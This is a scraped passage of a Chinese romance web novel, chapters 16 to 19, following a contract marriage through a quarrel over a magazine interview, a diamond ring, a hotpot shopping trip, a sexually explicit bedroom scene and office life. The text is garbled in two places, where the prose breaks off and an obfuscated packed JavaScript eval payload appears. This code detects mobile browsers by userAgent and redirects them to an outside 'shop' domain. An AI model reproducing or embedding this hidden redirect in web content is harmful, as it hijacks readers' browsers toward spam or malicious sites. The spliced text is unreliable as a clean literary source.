温今遥被他问懵了,眼圈一红,根本来不及细思:“裴聿珩你果然恨我!我不管!我不要跟一个烂黄瓜结婚!死也不要!” 骂完这一句,转身就要走,却被人紧紧禁锢在温热怀抱中。 头顶传来熟悉的撩人低笑:“今遥,你好在意。” 温今遥一边挣扎一边下意识反驳:“我在意个屁!” “好好,我在意。”裴聿珩更加收紧手臂,唇边噙着笑意靠近她发红的耳朵:“我在意我的太太以为我是烂黄瓜,行吗?” 耳侧被他的气息燎得要烧起来,温今遥死活挣脱不开,索性手脚脱力地破罐破摔:“你知道就好!” 裴聿珩扶着她的肩膀让她转过身,俯身跟她气得发亮的眼睛对视:“我申请一个解释的机会。” 温今遥别开脸,不做声。 哼,我看你能解释出什么花来! 裴聿珩语气诚恳:“这是你答应结婚的第二天就准备好的稿件,当时我还在处理威禾方案被盗的事,有些烦乱,所以没有注意到这个细节。” 温今遥心里动了动,没讲话。 “婚戒的事,确实是我的疏忽,我向你道歉。我可以向你保证,这七年里我没有跟任何女人有过亲密关系,也没有过亲密接触。” “不过今遥,你是不是没看报道原文?” 温今遥理直气壮:“看什么原文,看了能改变什么吗?” 其实她也说不清自己是什么心态,从知道有这么一篇报道,到裴聿珩回家她跟人家胡搅蛮缠发脾气,中间隔了大半天,短短一篇报道,扫两眼就能看完的事,她却几次犹豫,始终没勇气细看。 她怕看了就坐实了自己头顶绿油油的工具人属性,会更无地自容。 裴聿珩终于放开她:“好,我念给你听。” 温今遥眼睁睁看着他弯腰捡起她扔在地上的杂志,轻咳一声。 “夫人与这个圈子无关,是我很早就认定的结婚对象,可以说是青梅竹马。婚姻对我来说,是人生不可缺少的堡垒和体验,进入婚姻,代表着责任和安稳。为了我的妻子,我将更加谨慎稳妥,未来鸿禧取得的每一点成就,都将为我跟她共有。” 他低慢沉缓的声音郑重尤甚,一点一滴落进温今遥的耳朵,她几乎要在这种蓄意蛊惑下酣然入戏。 她忽然不敢再听,劈手抢过杂志,目光却不由自主地游上下一段文字: 记者:看得出来裴总跟夫人的感情非常好,那么您对婚姻生活的期许是什么呢? 下一秒,裴聿珩温和的声音再度响起,与她看到的回答一字一句缓缓重合在一起: “我对未来没有预设,只要那里有她,一切就很圆满。” 温今遥手指扣紧杂志边缘,她听见自己的呼吸和心跳逐渐紊乱、失序,像是要迷失在他精心编织的温柔海里,动弹不得。 真牛逼啊,她想,这就是集团总裁的手段吗。 这不比那些本子刺激? “怎么样,裴太太?这个回答还满意?”裴聿珩从容地从她手上抽走那本已经不堪重负的杂志:“我认为这样的回答,即使没有婚戒,应该也不会引起你所担心的那种误会。” “谁给你写的发言稿,”温今遥咬着下唇嘴硬:“该升职加薪。” 裴聿珩抿了抿唇,却没回答,话锋一转:“现在轮到下一个话题。” 不等温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634211|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今遥发问,他便拉起她走向书房。 书房中橡木书柜依墙而立,直至天花板,同色厚重沉稳的书桌上整齐摆放着各种文件资料,一支金笔安静躺在笔架上,在感应灯柔和的光里静谧地闪耀。 温今遥跟着裴聿珩进了房间,羊绒地毯柔软无声。他轻轻拉开书桌最底端的抽屉,从最里面拿出小巧的银色首饰盒,在她面前缓缓打开。 温今遥彻底失去了自己正在演戏的自觉。 那枚戒指…… 它实在是耀眼。 说句没见识的,这是温今遥第一次亲眼看到这么大颗的钻石。 它太完美了,精心的打磨与切割让它本就无暇的通透感更上了好几个量级,就书房灯带这一点昏昧的光照在它身上,也能反射出像宇宙星尘那样炫目璀璨的光芒。 裴聿珩小心地将钻戒取出,轻轻托起温今遥的左手,慢慢地把指环套进她白皙修长的无名指,戒环轻松扣上指根,大小竟分毫不差。 温今遥仔细端详它,眼底被它的光晕点亮,在裴聿珩垂眸凝视她的目光里,好似星星点点的泪光。 他无声起勾起一个满意的笑。 多年来藏匿的心意终于到了她的手中,如此精准,如此恰到好处。 而这样的心意,这已经是第十七枚。 还好曾经的他足够细心,还好他始终坚信,这一天终将到来。 “婚戒需要订做,采访时确实没来得及,这个是提前准备好的。”裴聿珩语气中似有歉疚:“如果你愿意,可以先拿这个将就。等婚戒到了,再换掉。” 温今遥直愣愣地望进他的眼睛。 将就? 你管这么大的钻石叫将就? 她忽然左手握住拳:“就不能都要吗?” 裴聿珩轻笑出声:“看来今天生的气已经翻篇了,对吗。” 温今遥无理取闹,竟然闹来了一枚钻戒,不由脸热,也不敢看他:“好像是我不太讲理哈?” 无论她在看哪里,裴聿珩的目光始终分毫不爽地停在她脸上,温声道:“但我很喜欢这种不讲理,这说明你对这段婚姻,也不是全然不在乎。” 温今遥眼底映着他脸上柔和的期待,把自己之前放的狠话全部吃了回去:“那可不是……结婚证上可是两个人的名字,谁受得了这种委屈。” “既然说到这个,”裴聿珩趁热打铁:“不如我们约法三章。” “之前跟你提过我的想法——我们的婚姻不是形婚,我希望我们的关系跟其他夫妻别无二致。” 温今遥瞪大眼睛:“你、你是说?” 裴聿珩已经逐渐摸清她的脑回路,无奈笑道:“不是你想的那个。” “我希望我们两个人,都对婚姻忠诚。” 温今遥一瞬不瞬望进他沉和的眸中,忽然极真实地感受到一点诧异。 这个男人跟她结婚,好像是在玩真的。 她甚至有种错觉,这场冲突虽然由她开始,但裴聿珩接过她混乱的开头,步步引诱,直到他说出了自己真正想说的话。 这个晚上,这句话才是他唯一的目的。 但温今遥很快意识到,这个要求对他们两人来说,其实并不对等——她平凡普通,而她眼中的裴聿珩简直万不及一,这样两个人要求平等的忠诚,他要面对的诱惑和要放弃的机会,显然都要比她多得多。 她太久没有回答,裴聿珩眉头几不可查地抽了抽:“不愿意吗?” “我是无所谓……”温今遥犹豫片刻:“别双标就行。” 裴聿珩终于展颜,伸手包住她的左手:“在这方面,我对自己倒是很有信心。” 17. 第 17 章 这个夜晚,由温今遥疾言厉色的质问开始,由落在她手背的一个轻柔的吻结束。 她躺在床上,心情无比舒畅,甚至松快过之前裴聿珩松口不追究威禾的责任,让她将功补过的那一次。 一定是因为这颗大钻石,她把左手伸到半空,端详着指间的闪耀钻戒想。 浴室水声停了,原本嘈杂的卧室一下子静了。 这安静反倒打断了温今遥的思绪,隔着紧闭的门,浴巾与皮肤细微的摩擦声细细密密地传来,花洒孔隙中残留的水痕间或砸在氤湿的地面,而紧接着吹风机的声音响起又落下,像一颗突兀的句号。 开门声响起,温今遥本能地回过头:“怎么洗这么久——” 她视线被眼前的图景牢牢锁住。 裴聿珩上半身光裸着,下半身只系了浴巾,墨黑发丝柔顺地贴着前额,上半身结实的线条在顶灯照射下无所遁形。 蜕去白天关锁着身体的层层衣襟,他将自己的本真完完整整地摊开在她眼前。 他带着一身濡湿潮热的气息靠近,停在皮肤上的水珠随着动作,沿肌肉线条缓缓滑过。 “好看吗?这么入神?” 裹着洁净沐浴露气味的呼吸撞进温今遥的耳朵,她下意识瑟缩一下,很快窘迫地移开眼神:“就、就那样吧。” 轻笑声依然停在她耳边:“看来夫人见多识广,我这样的,入不了我们今遥的眼了。” 温今遥胡言乱语倒打一耙:“怎么不穿好衣服就跑出来!是想勾引谁!” “想勾引的人不上当,”身边羽绒被窸窣一响,他丢了浴巾,躺在温今遥身边:“在自己家,还要衣着整齐吗?” 本来只是视觉刺激,他一躺进来,不容忽视的体温立刻攀爬上温今遥没被睡衣遮盖的皮肤,像一株又细又蓬勃的藤蔓,密密匝匝缠上她的身体。 身侧那人有节律的呼吸若有似无地勾动着她的发丝,扫在侧颈,似是小小触角,在她纤薄的皮肤上戳戳刺刺,不停试探。 温今遥无意识地吞咽一下,手指不受控似地向那边又挪了挪,在碰到他之前谨慎地停下。 谁知裴聿珩像是身上也长了眼睛,稍一翻身,直接让她的手背贴上了他大腿外侧。 温热真实的触感瞬间电流一般从她手背皮肤掀起一阵酥痒,很快便麻了半条手臂。 温今遥满脑子的黄色废料炖成一锅,咕嘟咕嘟冒着泡,简直要沸腾了。 在自己克制不住要上下其手之前,她先发制人地背过身去:“行行,裴总说得都对,你脱光也没人管你。” 关了灯,像是有一簇小火苗烤在她小腹,翻来覆去,燥得怎么都睡不着。 温今遥烦躁地啧一声,光着脚下床,跑到厨房喝了一大杯水,寒冬腊月的,也不觉得冷。 罪魁祸首双臂枕在脑后,听着厨房丁呤桄榔的响动,在黑暗中不动声色地笑了笑,重重地呼了口气,也起身走去浴室。 刚停不久的嘈杂水声再度响起,冰冷水花拍在他紧绷的身体上,渐渐抚平了难以克制的躁动。 裴聿珩站在冷水中,神色清明。 看来离小鱼自投罗网的时候,不远了。 …… 这几天外面冷得滴水成冰,一到下午阳光就吝啬地收起来,铅灰层云便开始洒雪。 这一天寒潮来袭,天黑得格外早,温今遥忙得晕头转向的间隙,望着窗外早早亮起的路灯发呆。 这种天气……好想吃火锅啊。 结果问了一圈,加班加得生不如死的同事们纷纷表示要回家躺尸,她竟然一个人都没摇到。 沮丧之余,她忽然想起,自己好像结婚了。 结婚不就意味着多了个天然的饭搭子! 她眼睛发亮,立刻拽过手机给裴聿珩发微信。 晴天娃娃:晚上吃火锅吗? 晴天娃娃:不辣的那种。 晴天娃娃:我今天不加班了,快点决定哈。 裴聿珩收到消息时,正在听吴桓给他汇报日程安排。 “晚上约了邻市旅游局的李秘书,决定新店选址,另外上次黎氏那边的宣发合作,这两天也要提上日程……” 吴桓念了两行,却没听到裴聿珩的回音,便停下口播,抬头看他。 裴总垂目看着手机,嘴角挂着一丝若有若无的笑意,眉眼舒展,表情竟称得上温柔。 吴桓:? 总裁带头上班摸鱼玩手机? “旅游局那边让开发组VP去,今晚其他日程全部取消或者延后,”裴聿珩终于舍得从手机上抬起头,眉梢还残留着对某人的专属温柔笑意:“你一会儿就下班吧。” 另一边温今遥想火锅想得抓耳挠腮,手机嗡嗡两声就迫不及待点开来看。 裴聿珩:好,正好今天有空。 晴天娃娃:棒!我今天必带你去我最爱的店! 结果最爱的店早就订满了。 冷得受不了的人民群众显然跟温今遥共脑了,这种天气人人都想吃一口热气腾腾的火锅,别说首选,就连评价一般的店都没得座位。 海口已经夸出去了,温今遥觉得承认自己订不到座很没脸,于是硬着头皮回:“哎,上一天班怪累的,还是回家吃吧。” 那边很快回复:“火锅家里也有,如果你想,我们可以去超市买食材,然后回家煮。” 温今遥臊眉耷眼的表情立刻被这句话点亮了。 美食的威力总是巨大,温今遥两个小时内就干完了本该今天加班才能干完的活,一到下班时间一溜烟就跑了。 裴聿珩早就等在门口,见她风风火火冲出来,眼底先浮上一层笑意,在街边短促地鸣笛。 温今遥一扭头,就见身边的黑色宾利缓缓落下车窗,裴聿珩风度翩翩地在斑斓霓虹处对她微笑,俯身替她开了门:“今遥,这里。” 温今遥听到自己心脏极不正常地重重一蹦。 饿到低血糖了,她想。 她拉开车门一头扎进温暖的车里:“尾号5855,gogogo!” 裴聿珩笑着接了一句“很高兴为你服务”,紧接着却探身过来,整个人压向副驾。温今遥呼吸猛地一滞,眼睁睁看着裴聿珩那张好看的脸在她面前骤然放大,毫无缘由地闭上眼睛,甚至能感觉到他的呼吸擦着她的唇角倏忽而过—— 安全带抽动的声音在她耳边摩擦一瞬,她身体被安全带轻柔禁锢,然后咔哒一声,他的气息又陡然离去。 裴聿珩饶有兴味地偏头看着她:“又在想什么?” 温今遥闭着眼睛说瞎话:“我在冥想,冥想你懂吗,这是社畜特别的休息方式。” …… 如果说生意场是裴聿珩的统治区,那么超市就是温今遥的。 手里的手推车被她推出了哈利波特行李车的气势,仿佛下一秒就要冲进站台。裴聿珩锁好车,慢她两步进来,发现自己失去了老婆的踪迹。 他扶额苦笑,忽然想起念书时,温今遥有个绰号,叫“北三撒手没”。 北城三中是北城最好的中学,温今遥入学的时候,裴聿珩正初三,正为升学忙得两耳不闻窗外事,就这他都听说,温今遥在刚入学的秋游中,上山没两步就失踪了,老师同学都急疯了,差点报警,结果就见她从后山溜溜达达散步回来,手里还抱着在溪边摸来的鱼。 后来放学时见到温今遥,裴聿珩提醒她注意安全,她还理直气壮的:“我只是去抓鱼呀,又没有下去游!” 当时的裴聿珩,表情跟现在一模一样。 他连找带问,终于在底料区找到正跳呀跳想够到货架最顶层底料的温今遥。 女孩穿着一双平底靴,腿上穿着一条深灰色裤袜,衬得小腿纤细修长,黑色长羽绒服搭在臂弯,亮色修身毛线裙勾出她玲珑的身体线条,这时候却仿佛是在限制她,因为她正微微努着嘴,极为用力地去够她想要拿到的东西。 哪怕只有一个侧面剪影,也能看出她是何等不认输。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634212|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴聿珩原地看了几秒,向着她走去。 温今遥用力抻着指尖,眼看差一点就要够到那包梦中情料,忽然觉得自己被一片颀长阴影罩在底下,稍一抬头,就看到裴聿珩锋利的下颌绷出一条漂亮的线,正挡住她头顶的光。 他手臂一伸,毫不费力地拿到底料,放进她手中:“这种时候,可以求助你的丈夫。” 这两个字恰到好处地打断温今遥尚未出口的感谢。 ……不就一个称呼!这么长时间了为什么还是要脸红! 她把底料扔进购物车里,若无其事抬头道:“186就是不一样哈。” “平时倒没觉得有什么优势,刚刚你替我发掘了,”裴聿珩摸摸她的头顶,仿佛在可怜她这个小矮子:“帮你拿够不到的东西,也是个很好的用处。” 温今遥发现了,这个人平时看起来温润正经,实际上总是在出其不意的时候出言撩她,还是毫无负担、眼都不眨的那种。 比起她这种高攻低防,不知高明多少。 “我发现你信念感是真的强,”温今遥由衷感叹:“是不是要想有钱,得先会演啊?” 裴聿珩不去纠正她话里的错位,只是道:“如果你对赚钱有兴趣,我也可以教你。” 两人推着小车,肩并肩往冷冻区走,看起来是一对极为登对的情侣。 “我能不能不赚钱然后躺平等着你养?”温今遥得寸进尺:“我觉得只有这样,结婚的性价比才高。” 裴聿珩随手拿了两盒最靠外的肥牛卷,低低笑道:“那再好不过,咱们家总不至于连一个你都养不起,你专心过你喜欢的生活,养家的事,还是让男人来就好。” 温今遥好似没听见他后半句话,劈手夺过肥牛卷:“这种不划算的!你猜它为什么放在最好拿的地方?”温今遥踮起脚,凑近裴聿珩的耳朵:“因为它利润最高!” 裴聿珩耳垂猝不及防被她温热的呼吸所淹没,沉默了一瞬,才又笑答:“看来以后挑供货商,得需要你的意见了。不过——”他在冰柜里随手一翻,又拿出一袋冰冻鲍鱼:“有钱的好处,就是可以不让你在这种小事上多花时间。” 温今遥眼睁睁看着好几百一斤的东西扔进自己的购物车,一时思绪跑偏:“那省下的时间要做什么?” 裴聿珩牵起她的手,牢牢握在掌心:“比如,可以多跟我吃顿饭,聊聊天。” …… 排队结账时,温今遥的不现实感达到了巅峰——这辈子还是第一次,一顿火锅吃掉一千多块。 她看着购物车里铺着的一层薄薄的食材,脑筋混沌地想,原来这就是有钱的感觉吗? 不用看价格,不用比净重,不用在几块钱的差价上纠结十分钟。 暌违多年的踏实感轻轻捏了捏她的心脏,让它在漂泊、惊恐了很久之后,稍稍落了地。 队伍移动很快,前面还有两三个人时,温今遥看清自助收银机上的广告:满一千五减两百。 很快轮到他们,她眼睁睁看着食材一件一件扫码过磅,到最后总金额停在1462上,一动不动。 天杀的这送到嘴边的便宜不占还是人? 于是温今遥朝旁边的货架一扫,余光迅速锁定裴聿珩的动作,发现他正看向别处,于是眼疾手快,摸了两盒安全套,准备神不知鬼不觉地扫码。 一声低柔浅笑忽然惊雷一样炸在她耳边。 温今遥石化了。 裴聿珩探手抽走她手上的东西放回原处,然后换了盒大号,云淡风轻搁在她手里。 温今遥脸热得能煎鸡蛋,把东西往台子上一扔,拔腿就想跑,裴聿珩付钱的同时伸手拉住她,还有余裕把她扣在怀里。 这老婆哪都好,就是撒手就没了。 温今遥索性别扭地把脸埋在他怀里:“你再笑你就完了我跟你讲!” 裴聿珩单手抱着她,忍笑忍得辛苦:“好,不笑你,不过正好给你上理财第一课:尺码不合适的东西,一定不要买。” 18. 第 18 章 一顿火锅吃得温今遥心猿意马。 她知道一会儿会发生什么,他也知道一会儿会发生什么,他知道她知道一会儿会发生什么。 但她不知道,现在的时机适不适合发生点什么。 他们俩之间以前的那点破事都还没盘清楚,上床之前她总得问一问,他愿不愿意跟自己还记恨的人“做恨”吧? 当务之急是打听清楚对方怎么想的,别到时候箭在弦上又生变数,那她才真的要以头抢地。 手里的青口贝都不香了! 她不知道她纠结的表情有多明显,裴聿珩一边吃,一边时不时扫她一眼,只感觉她脑袋上一会儿飘出一个想法,一会儿又飞出个鬼主意,脑子比嘴都忙。 他扬了扬唇角,夹一个丸子给她:“在想什么?” 温今遥没听见。 但无所谓,撒尿牛丸会教她做人。 温今遥夹起碗里凭空出现的丸子,一口咬下去,里面鲜香的汤汁猛地呲出来,溅得她满身都是。 突如其来的小事故成功把她的思绪带回,她“呀”一声从座位上弹起来,要不是实木餐桌厚重,可能已经被她掀翻了。 好在夹给她之前,丸子已经被裴聿珩晾了许久,不然她极大可能被烫伤。 裴聿珩筷子落地也顾不得,立刻拉她到面前:“有没有烫到?” “没有,”温今遥低头看被汤汁溅得狼狈的家居服:“我去换件衣服,你先吃。” 她磨磨蹭蹭进了卧室,乱七八糟的想法被丸子一烫,却出乎意料冷静下来。 这种事情真的要由她起头吗?她边换上丝绸睡裙边想,自己这样主动,他会怎么看? 会觉得她随便、早就不像他记忆里那样单纯,于是更加看低她吗? 搞不好他想要娶的,只是他心里那个冰清玉洁的幻影罢了。 温今遥扭头望向穿衣镜,里面的女孩曲线玲珑,面容姣好,却遮掩不住眼底的堂皇。 一阵敲门声轻缓响起。裴聿珩在门口问:“可以进来吗?” 温今遥答应一声,按下乱七八糟的心思开了门:“换好了,咱们继续……” 裴聿珩却拦住她的去路:“一直心不在焉,是火锅不合胃口?” “那倒没有。”温今遥心虚地瞥一眼床——那盒搅得她心神不宁的安全套被她藏在枕头下,以备不时之需。 这点小心思当然瞒不过裴聿珩。 在温今遥反应过来之前,他忽然俯身,手臂穿过她的膝弯,另一只手垫在她背后,稍一用力将她抱了起来。 温今遥惊呼一声:“做什么?” 裴聿珩不答,只是走进卧室将她放在床上,自己单膝半跪在她面前:“本来还想再过段时间,等你彻底适应这里再跟你提,是我疏忽了。” 温今遥还懵着:“提什么?” 裴聿珩一只手掌覆上她的脸,几乎将她侧脸完全包裹,拇指轻轻抚过她的唇角:“跟你做最亲密的那件事情,我已经期待很久了。” 温今遥根本不敢抬头看他,声如蚊呐:“是吗……” “是。”裴聿珩声线极为笃定:“这样说也许会吓到你,但你躺在我身边的每个晚上,我都需要极力克制才能入睡。” 温今遥平时阅读量极大,某po某棠的收藏夹打开足够吓死三个纯情少男,但亲耳听到另一个人对她毫无掩饰的欲念,她的耳尖竟泛上一抹红晕。 这点绯红落进裴聿珩的眼底,像一团火星落进遍地枯草。 他手上禁不住加了点力道,扭过温今遥别开的脸颊,声音染上一层凌乱:“今遥,看着我。” 温今遥就这样半是顺从半是好奇,冷不丁撞进一双燃烧着贪欲的眼睛。 “我们不是炮友,一夜过后再不见面,我们是要共度余生的伴侣,所以我不希望你有任何顾虑。”他掌心发烫,贴着她柔软的耳朵:“你在担心什么,现在说给我听,好吗?” 温今遥被他的眼神点燃了勇气,直白道:“我担心这件事由我主动,会很掉价,我不知道你对一个会主动买安全套的女人是什么看法。” 他手掌向下游移,声音却渐轻渐暖:“你所有的想法和欲望,在我眼里都很正常,甚至……”他不着痕迹地吞咽一声,手指在某处紧了紧:“……很性感。” 温今遥困惑的视线搭上他的眼睫,裴聿珩笑着:“不理解也没关系,你有得是时间慢慢懂。我最后问你一次,你确定吗?” 温今遥被他猛然收紧的指尖逼出一声呜咽,几乎本能般地探身吻上他的唇,比起话语,这是更直白的回答。 裴聿珩迟滞一秒,立即反客为主。 唇舌从轻缓温柔的试探开始,吮取,辗转,研磨,起始处不得章法,渐渐屈从于她纷乱温热的气息和你中有我的交缠,他喟叹一声,彻底放弃伪装,进攻、破城,攻池掠地、步步为营。 温今遥几乎被完全剥夺了呼吸,只能更用力地攫取氧气才不至窒息,可胸腔的剧烈起伏反而更深地点燃了某些不堪言说的妄念,她忽然感觉身体一轻,继而整个人陷入了柔软的床里。 令她头昏脑涨的唇舌交缠间,有什么粗粝滚烫的触感在缓慢游移,似是一尾顺着她盘绕而上的蛇,不急于一蹴而就,而是缓进款行,左顾右盼,偏要在一处逡巡够久,尝够了她的气息,才心满意足地游走到下一片未经足迹的地点。 那片灼热游到哪里,哪里便被激起不可抑制的战栗。温今遥后枕紧贴着床,不得已大口呼吸,手指不受控地攀上他宽厚的肩膀,紧紧闭着双眼。 有潮湿却炙热的呼吸落在她耳边,夹杂着他低哑难耐的蛊惑:“今遥,睁开眼睛。” “你不看着我,怎么知道我对你有多着迷?” 她乖顺地睁开朦胧迷离的眼睛,直直对上了裴聿珩眼底压制着的尖锐疯狂。 咬紧下唇,手指覆上他动情的眉眼,她忽然撑起上身,在他嶙峋的喉结处轻咬一口。 视觉的剥夺成倍放大着其余的感官,眼前晦暗灯光勾出的肌肉线条肉眼可见地紧绷了一瞬,温今遥听见一声极轻、极压抑的声音。 在脑海万分之一的清明中,她忽然明了,那天晚上,她在半梦半醒中听见的到底是什么。 他没有说谎,她想。 裴聿珩的呼吸不再似平日里那般平稳,而是将头埋在她的侧颈,回礼似地轻轻啃咬,溽热气息在她耳廓不断侵扰、引诱,她不断吞咽着翻涌而起的呜咽,却无力抑制耳边不断冲刷着的血液激荡。 她在浑身紧绷中被一次试探的触摸叩响了神经,裴聿珩压抑的声音在她耳边道:“你准备好了,对吗?” 温今遥忽然惊叫出声。 跟她想象的不同,裴聿珩竟然并不温柔,而是屡屡剑走偏锋,棋行险招,带着她的扁舟去往她从未预料过的地方,而她节节败退,无处可逃。她竭力克制,最后竟然落得日月倒悬,整个世界都在颠簸中行将破碎。 承受不住时她紧紧抓住肌肉紧绷凸起的手臂:“别,别往前了……” “今遥,不要忍,”他却在倾山倒海中变本加厉:“我想听。” 他的话像一句命令,她竟真的丢盔弃甲,松开 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温今遥:“……你不要把自己说得像个服务人员行吗,不知道的还以为我干了什么违法勾当!” “合情合理合法,”裴聿珩笑着起身:“休息好了吗?早饭想吃什么?” “热热乎乎的就行。” 温今遥又沉沉地睡了个回笼觉,被一阵鲜香的气味勾醒。 记忆里,昨晚的丝绸睡裙被一片狼藉地扔在床下,她半个身子探出床边去看,地上却空空如也。 ……只能裹着被子下床去找一身能看的衣服穿。 温今遥把自己卷成了一块寿司,踱着小碎步往衣柜跑,裴聿珩刚好进来叫她吃饭,看到地上立着一卷被子,怔愣片刻,笑出了声。 “哦,睡裙拿去洗了,我忘记重新给你找衣服,”裴聿珩笑得十分坦然:“抱歉。” 温今遥想起睡裙上那些荒唐的痕迹,不禁恼羞成怒:“你自己做的好事,抱歉才怪啊!” 裴聿珩十分顺从地从衣柜里翻出一套新的家居服,上下打量她:“看来寿司卷还没有进化出四肢,那我帮你……” “裴聿珩。” “嗯,我在。” “出去。” 但她的脾气很快便被一碗鲜香滚烫的鸡汤面所收服。 鸡汤煲得清澈透亮,微微飘着一层荡漾的油花,香气醇厚浓郁,面条根根细致均匀,盖着吸饱汤汁的金针菜和香菇,鸡丝切得极细,熬制得入口即化,缀上几片翠绿菠菜,氤氲成一幅色香味俱全的画。 温今遥轻轻吹散热气,在碗边啜饮一口,立刻浑身舒畅,连带着被迫请假的郁闷气结一扫而空。 身边的男人备好纸巾,搁在她面前:“当心烫。” 这时候,窗外忽而飘起鹅毛大雪。 雪雾朦胧地遮蔽了半空,北风漫卷着雪片簌簌而落,伫立在其中的高大建筑戴上雪冠,整个城市笼罩在一片静谧的纯白中。 而他们被通透洁净的玻璃隔绝在温暖无垠的安宁中,不受寒冷雪屑侵扰,得以全心全意地享受一碗鸡汤面带来的熨帖。 温今遥掌心被鸡汤的热意烘烤着,蜷缩了多年的心竟然在这样的安详中慢慢舒展。 她不禁叫那个人的名字:“裴聿珩?” “嗯?” “我觉得结婚很好。”她望着窗外静静下落的纯白雪色:“比我想象得还要好。” 19. 第 19 章 经过一天的慵懒休整,温今遥再去上班时简直容光焕发。 例会之前,李玉频频看她,最后还是趁散会时忍不住问:“昨天不还病得厉害,这么快就好了?” 温今遥心虚得不行,点头如捣蒜:“好了好了,谢谢总监关心。” 李玉狐疑地盯她半天,从她脸上看不出一丝病气来,只能叮嘱她注意身体,不要太拼。 温今遥:“……您这么说我受之有愧,不然您扣我点工资吧。” 其实对于隐婚这件事,温今遥扪心自问,没必要对任何人愧疚,除了李玉。 看多了社交软件上社畜吐槽老板上司的金句,温今遥愈发觉得自己遇到于放和李玉是上辈子积德,于公于私,她都应该对李玉说实话。可她之前还信誓旦旦,说跟裴聿珩没有其他关系,现在要是直接改口,告诉她自己跟裴聿珩不但是青梅竹马,认识十来年,而且还招呼都不打就结婚了,李玉会是什么反应? 想想当时酒店那一夜乌龙,李玉打不通她电话直接报警的神操作,加上第二天对她的态度明显冷淡不少,温今遥就算再想说实话,也得掂量掂量自己的前途。 她看着李玉聆听项目汇报时专注的侧脸,心里忙着自我安慰:只是协议结婚之后睡过一次而已,又不是爱上他了,不是什么大事,没必要连李总监都惊动。 至少在工作上,她确实问心无愧。 她摇摇头,将这些不相干的想法抛却脑后,集中到会议的项目中来。 温今遥连续加班的成果终于初现苗头,整个项目流程在她手中变得清晰无比。在策划环节奠定了如此坚实的基础,让项目后续和其他部门的介入都轻松不少。 “跨年活动非常重要,”李玉在会议开始就定下基调:“之前的方案用不了了,我们只能用备选,但这一场是半夏揭牌后第一场正式活动,绝对不能输。” 在会上表决心喊口号当然容易,但谁也不敢打那个包票,莽如温今遥,此时此刻也只能安静如鸡。 于放极为大气地一挥手:“怕什么,鸿禧把项目交到咱们手里都没怕,放心吧都,明天我约了鸿禧宣传口的VP来把关。” 此言一出,会议室窒息的气氛陡然一松,打工人嗡嗡煌煌的声音压不住似地渐渐响起来。 在一片“那就好有人兜底了”“对哇我们跟鸿禧是一根绳上的蚂蚱”这种欣欣向荣的气氛里,只有温今遥,脸上的凝重丝毫不减,仿佛这个消息对她没有任何安慰。 一边的余承轩见她表情不对,小心翼翼地凑了脑袋过来问:“今遥姐,你怎么了?” 温今遥肃着脸摇头:“没事,我就是觉得……有猫腻。” 她也算是在这行里干过几年,整个人都乙里乙气的,外卖小哥的短信都恨不得回个“收到”,早就不信这种甲方乙方一条心的现实童话了。 她总觉得这件事跟自己家里的那只笑面虎有关。 大约见她脸色实在不好,余承轩担忧道:“是不是病还没好?不然你今天回去休息,明天直接惊艳他们,”他左右看了看,凑近了道:“到时候人家赏识你,搞不好你直接跳槽去鸿禧,工资翻翻呢。” 温今遥本来就烦,被这一句说得更是头大如斗:“哈哈,要去你去,我绝不跟资本家同流合污。” 这点让她不安的猜测,温今遥一直惴惴地揣到了结束加班。 裴聿珩难得比她到家早,正在书房处理行政文件,听到她进门,话未出口眼底先浮上笑意:“今遥?回来了?” 温今遥在门口踢掉鞋子,光着脚跑进书房,脚心踩在柔软的羊绒地毯上,印出一串浅色的脚印。 裴聿珩踱到窗边的沙发旁坐下,拍拍身边:“来。” 温今遥驾轻就熟地蜷在他身边,开门见山:“听说明天鸿禧的VP要去我们公司?” 裴聿珩揽着她,垂下视线看她的侧脸:“宣传那边的VP?是有所耳闻。” 温今遥凑近了,仔仔细细打量他,想从他放松的表情中捕捉到一丝闪躲或是得逞的狡黠。 身后是北城CBD辉煌绚丽的灯火,男人轮廓锋利的侧脸半隐在灯带留下的阴影中,眼里流露出星星点点的温和将平日里迫人的气势中和,这时候只剩下一片沉和的俊朗,正专注而沉溺地望着她。 裴聿珩在面对她的时候,总是这样宽和的表情,好像她做什么都能被接受似的,让人全然忘记他铁腕手段、不近人情的名声在外,似乎那只是别人的误读。 他对她,从来都是这样无条件地宠溺的。 温今遥在这样的眸光中,短暂地忘记了自己是来干什么的,几秒中后才突然回神:“那不是你们的新品牌吗!你怎么一点都不关心下属的动向!” 裴聿珩抬手摸她侧枕,笑着解释:“除了宣传,新品牌要接洽的合作方很多,我也想事必躬亲,但时间精力都不允许。不过如果你想,我可以把精力多放在威禾上面……” “别,千万别!”温今遥竖起手掌:“裴总高屋建瓴、统领全局,完全没必要为威禾这种小项目费神。” 她一双水眸在万家灯火的背景中熠熠闪烁,眼神里小小的得逞简直要满溢出来,她偏还觉得自己掩藏得有多好:“总之维持现状就挺好,做大做强,再创辉煌!” 其实在这方面,温今遥有私心。 虽然跟裴聿珩本就是通过工作才重逢,但她还是不想把他跟工作搅在一起,因为她发现面对裴聿珩时,她会不自觉地得寸进尺——她知道,无论她提出什么要求,他什么都会好脾气地满足。 这会让她不想努力。 失去努力的决心,对她来说才是最可怕的,这意味着她失去了独立的可能性。 